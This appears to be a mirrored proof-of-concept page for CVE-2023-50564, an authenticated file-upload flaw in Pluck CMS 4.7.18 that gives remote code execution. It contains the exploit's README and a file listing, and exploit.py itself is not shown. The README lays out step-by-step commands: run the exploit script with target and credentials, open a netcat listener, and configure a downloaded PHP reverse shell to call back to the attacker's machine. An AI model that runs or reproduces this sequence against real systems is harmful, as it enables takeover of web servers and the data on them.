Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-50564 PoC — Pluck 安全漏洞

Source
Associated Vulnerability
Title:Pluck 安全漏洞 (CVE-2023-50564)
Description:Pluck是一套使用PHP语言开发的内容管理系统(CMS)。 Pluck v4.7.18版本存在安全漏洞,该漏洞源于组件 /inc/modules_install.php 中存在任意文件上传漏洞,允许攻击者通过上传精心设计的 ZIP 文件来执行任意代码。
Description
Pluck v4.7.18 - Remote Code Execution (RCE)
Readme
# CVE-2023-50564

## 📌 Description

This exploit allows an authenticated admin in **Pluck CMS v4.7.18** to upload a malicious ZIP module containing a PHP shell, resulting in remote code execution (RCE).


---

## ⚙️ Features

- Authenticates to the target using a valid username and password
- Automatically creates a ZIP archive from a provided PHP file
- Uploads the module to the vulnerable `installmodule` endpoint
- Triggers the payload and displays the output
- Supports custom target, port, credentials, and shell path

---

## 🚀 Usage

```bash
git clone https://github.com/glynzr/CVE-2023-50564.git
cd CVE-2023-50564
pip3 install -r requirements.txt

python3 exploit.py -h
```


```bash
python3 exploit.py -t <target> -u <username> -pass <password> -path <path_to_php_shell> [-p <port>]
```

- The port is optional and defaults to 80 if not specified.
- When specifying the target, the IP address or domain name is required (e.g., 127.0.0.1 or test.domain).


## Sample exploit

First, reverse shell listener should be started on attacker machine(this tab on the terminal should not be terminated):
```bash
nc -nvlp <specify port>
```

Then, download php reverse shell from https://github.com/pentestmonkey/php-reverse-shell and customize it according to attacker machine. (IP,port)

Run the exploit code on another tab:
```bash
python3 exploit.py -t test.com -u admin -pass samplepassword -path ../php-reverse-shell.php
```
File Snapshot

[4.0K] /data/pocs/8b28f0b847c70337d2e26a5fc4d426007760233d ├── [2.7K] exploit.py ├── [1.0K] LICENSE ├── [1.4K] README.md └── [ 26] requirements.txt 0 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.